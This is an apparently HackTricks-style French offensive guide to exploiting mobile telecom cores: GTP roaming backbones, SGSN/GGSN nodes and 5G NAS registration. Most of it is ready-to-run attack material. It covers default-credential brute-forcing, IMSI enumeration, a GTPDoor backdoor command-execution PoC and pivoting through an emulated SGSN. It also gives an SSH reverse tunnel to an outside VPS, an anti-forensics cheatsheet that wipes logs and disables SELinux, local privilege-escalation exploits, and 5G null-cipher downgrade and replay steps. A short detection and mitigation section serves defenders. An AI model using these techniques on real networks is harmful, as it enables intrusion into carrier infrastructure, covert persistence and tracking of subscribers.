# Exploitation de réseaux télécom (GTP / environnements de roaming) {{#include ../../banners/hacktricks-training.md}} > [!NOTE] > Les protocoles du cœur mobile (GPRS Tunnelling Protocol – GTP) traversent souvent des backbones de roaming GRX/IPX semi-fiables. Parce qu'ils circulent sur UDP en clair avec presque aucune authentification, **tout point d'appui à l'intérieur d'un périmètre télécom peut généralement atteindre directement les plans de signalisation cœur**. Les notes suivantes rassemblent des techniques offensives observées sur le terrain contre SGSN/GGSN, PGW/SGW et autres nœuds EPC. ## 1. Recon & Initial Access ### 1.1 Comptes OSS / NE par défaut Un nombre étonnamment important d'éléments réseau fournis par les vendors sont livrés avec des utilisateurs SSH/Telnet codés en dur tels que `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Un wordlist dédié augmente drastiquement le succès du brute-force: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` Si l'appareil n'expose qu'une VRF de management, pivot through a jump host first (voir la section «SGSN Emu Tunnel» ci-dessous). ### 1.2 Découverte d'hôtes dans GRX/IPX La plupart des opérateurs GRX autorisent encore les **ICMP echo** à travers le backbone. Combinez `masscan` avec les probes UDP `gtpv1` intégrées pour cartographier rapidement les listeners GTP-C : ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` ## 2. Énumération des abonnés – `cordscan` L'outil Go suivant génère des paquets **GTP-C Create PDP Context Request** et enregistre les réponses. Chaque réponse révèle le **SGSN / MME** actuel servant l'IMSI interrogé et, parfois, le PLMN visité de l’abonné. ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan # Usage (typical): ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ``` Options clés : - `--imsi` IMSI de l'abonné cible - `--oper` Home / HNI (MCC+MNC) - `-w` Écrire les paquets bruts dans un pcap Des constantes importantes à l'intérieur du binaire peuvent être patchées pour élargir les scans : ``` pingtimeout = 3 // seconds before giving up pco = 0x218080 common_tcp_ports = "22,23,80,443,8080" ``` ## 3. Exécution de code via GTP – `GTPDoor` `GTPDoor` est un petit service ELF qui **écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant**. Lorsque la charge utile commence par un tag pré-partagé, le reste est déchiffré (AES-128-CBC) et exécuté via `/bin/sh -c`. Les flux stdout/stderr sont exfiltrés à l'intérieur de messages **Echo Response** de sorte qu'aucune session sortante ne soit créée. Paquet PoC minimal (Python): ```python import gtpc, Crypto.Cipher.AES as AES key = b"SixteenByteKey!" cmd = b"id;uname -a" enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` Détection : * tout hôte envoyant des **unbalanced Echo Requests** aux IPs SGSN * GTP version flag réglé sur 1 alors que message type = 1 (Echo) – déviation par rapport à la spécification ## 4. Pivoting Through the Core ### 4.1 `sgsnemu` + SOCKS5 `OsmoGGSN` fournit un émulateur SGSN capable de **establish a PDP context towards a real GGSN/PGW**. Une fois négocié, Linux reçoit une nouvelle interface `tun0` accessible depuis le roaming peer. ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` Avec un firewall hair-pinning correctement configuré, ce tunnel contourne les signalling-only VLANs et vous place directement dans le **data plane**. ### 4.2 SSH Reverse Tunnel over Port 53 DNS est presque toujours ouvert dans les infrastructures en roaming. Exposez un service SSH interne sur votre VPS écoutant sur :53 et revenez plus tard depuis chez vous : ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` Vérifiez que `GatewayPorts yes` est activé sur le VPS. ## 5. Canaux cachés | Canal | Transport | Décodage | Remarques | |---------|-----------|----------|-------| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | clé de 4 octets + blocs de 14 octets (XOR) | écoute purement passive, pas de trafic sortant | | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encodé dans les octets d'enregistrement A | surveille le sous-domaine `*.nodep` | | GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC dans un IE privé | se fond dans le trafic légitime GTP-C | Tous les implants implémentent des watchdogs qui **timestomp** leurs binaries et se re-spawnent en cas de crash. ## 6. Cheatsheet d'évasion des défenses ```bash # Remove attacker IPs from wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp # Disable bash history export HISTFILE=/dev/null # Masquerade as kernel thread echo 0 > /proc/$$/autogroup # hide from top/htop printf '\0' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp setenforce 0 # disable SELinux ``` ## 7. Privilege Escalation sur Legacy NE ```bash # DirtyCow – CVE-2016-5195 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd # PwnKit – CVE-2021-4034 python3 PwnKit.py # Sudo Baron Samedit – CVE-2021-3156 python3 exploit_userspec.py ``` Astuce de nettoyage : ```bash userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` ## 8. Boîte à outils * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – outils personnalisés décrits dans les sections précédentes. * `FScan` : balayages TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`) * `Responder` : LLMNR/NBT-NS rogue WPAD * `Microsocks` + `ProxyChains` : pivot léger SOCKS5 * `FRP` (≥0.37) : NAT traversal / asset bridging ## 9. Attaques d'enregistrement NAS 5G : SUCI leaks, rétrogradation vers EEA0/EIA0, et NAS replay La procédure d'enregistrement 5G s'exécute sur NAS (Non-Access Stratum) au-dessus de NGAP. Jusqu'à ce que la sécurité NAS soit activée par Security Mode Command/Complete, les messages initiaux ne sont pas authentifiés ni chiffrés. Cette fenêtre pré-sécurité permet plusieurs vecteurs d'attaque lorsqu'on peut observer ou altérer le trafic N2 (par exemple, on-path dans le core, rogue gNB, ou testbed). Registration flow (simplifié) : - Registration Request : UE envoie SUCI (SUPI chiffré) et capacités. - Authentication : AMF/AUSF envoient RAND/AUTN ; l'UE retourne RES*. - Security Mode Command/Complete : intégrité et chiffrement NAS sont négociés et activés. - PDU Session Establishment : configuration IP/QoS. Conseils de configuration de laboratoire (non-RF) : - Core : un déploiement par défaut Open5GS suffit pour reproduire les flows. - UE : simulateur ou UE de test ; décodage avec Wireshark. - Outils actifs : 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). - Filtres d'affichage utiles dans Wireshark : - ngap.procedure_code == 15 (InitialUEMessage) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) ### 9.1 Confidentialité des identifiants : défaillances SUCI exposant SUPI/IMSI Attendu : l'UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d'attache). Trouver un SUPI/IMSI en clair dans la Registration Request indique un défaut de confidentialité permettant un suivi persistant des abonnés. Comment tester : - Capturez le premier message NAS dans l'InitialUEMessage et inspectez le Mobile Identity IE. - Vérifications rapides dans Wireshark : - Il doit être décodé comme SUCI, pas IMSI. - Exemples de filtres : `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` doit exister ; l'absence de celui-ci avec la présence de `imsi` indique une fuite. Que collecter : - MCC/MNC/MSIN si exposés ; logger par UE et suivre dans le temps/les emplacements. Atténuation : - Imposer des UEs/USIMs SUCI-only ; générer une alerte sur toute présence d'IMSI/SUPI dans le NAS initial. ### 9.2 Forçage des capacités vers des algorithmes nuls (EEA0/EIA0) Contexte : - L'UE annonce les EEA (chiffrement) et EIA (intégrité) supportés dans le UE Security Capability IE de la Registration Request. - Mappings courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes nuls. Problème : - Parce que la Registration Request n'est pas protégée en intégrité, un attaquant on-path peut effacer des bits de capacité pour contraindre la sélection d'EEA0/EIA0 plus tard lors du Security Mode Command. Certaines stacks autorisent incorrectement des algorithmes nuls hors des services d'urgence. Étapes offensives : - Interceptez l'InitialUEMessage et modifiez le NAS UE Security Capability pour n'annoncer que EEA0/EIA0. - Avec Sni5Gect, hookez le message NAS et patcher les bits de capacité avant de le relayer. - Observez si l'AMF accepte des chiffrement/integrité nuls et complète le Security Mode avec EEA0/EIA0. Vérification/visibilité : - Dans Wireshark, confirmez les algorithmes sélectionnés après Security Mode Command/Complete. - Exemple de sortie d'un sniffer passif : ``` Encyrption in use [EEA0] Integrity in use [EIA0, EIA1, EIA2] SUPI (MCC+MNC+MSIN) 9997000000001 ``` Mesures d'atténuation (obligatoires) : - Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement requis (p.ex., appels d'urgence). - Préférer l'application d'EEA2/EIA2 au minimum ; journaliser et déclencher des alertes sur tout contexte de sécurité NAS qui négocie des algorithmes nuls. ### 9.3 Rejeu de la Registration Request initiale (NAS non sécurisé) Parce que le NAS initial ne garantit pas intégrité ni fraîcheur, un InitialUEMessage+Registration Request capturé peut être rejoué à l'AMF. PoC rule for 5GReplay to forward matching replays: ```xml ``` À observer : - Si l'AMF accepte le replay et passe à l'Authentication ; l'absence de validation de fraîcheur/contexte indique une exposition. Mitigations : - Appliquer une protection contre le replay et le binding de contexte au niveau de l'AMF ; limiter le débit et corréler par GNB/UE. ### 9.4 Conseils d'outillage (reproductible) - Open5GS : déployer un AMF/SMF/UPF pour émuler le core ; observer N2 (NGAP) et NAS. - Wireshark : vérifier les décodages de NGAP/NAS ; appliquer les filtres ci‑dessus pour isoler la Registration. - 5GReplay : capturer une Registration, puis rejouer des messages NGAP + NAS spécifiques conformément à la règle. - Sni5Gect : sniff/modify/inject en direct le plan de contrôle NAS pour contraindre des algorithmes null ou perturber les séquences d'Authentication. ### 9.5 Checklist défensive - Inspecter en continu les Registration Request à la recherche de SUPI/IMSI en clair ; bloquer les appareils/USIMs fautifs. - Rejeter EEA0/EIA0 sauf procédures d'urgence strictement définies ; exiger au minimum EEA2/EIA2. - Détecter l'infrastructure rogue ou mal configurée : gNB/AMF non autorisés, pairs N2 inattendus. - Alerter sur les modes de sécurité NAS qui aboutissent à des algorithmes null ou à des replays fréquents d'InitialUEMessage. --- ## Idées de détection 1. **Tout appareil autre qu'un SGSN/GGSN établissant des Create PDP Context Requests**. 2. **Ports non standard (53, 80, 443) recevant des SSH handshakes** depuis des IP internes. 3. **Echo Requests fréquentes sans Echo Responses correspondantes** – peut indiquer des beacons GTPDoor. 4. **Taux élevé de trafic ICMP echo-reply avec de grands champs identifier/sequence non nuls**. 5. 5G : **InitialUEMessage contenant des NAS Registration Requests répétés depuis des endpoints identiques** (signal de replay). 6. 5G : **NAS Security Mode négociant EEA0/EIA0** en dehors de contextes d'urgence. ## Références - [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) - 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) - 3GPP TS 29.281 – GTPv2-C (v17.6.0) - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS - 3GPP TS 33.501 – Security architecture and procedures for 5G System {{#include ../../banners/hacktricks-training.md}}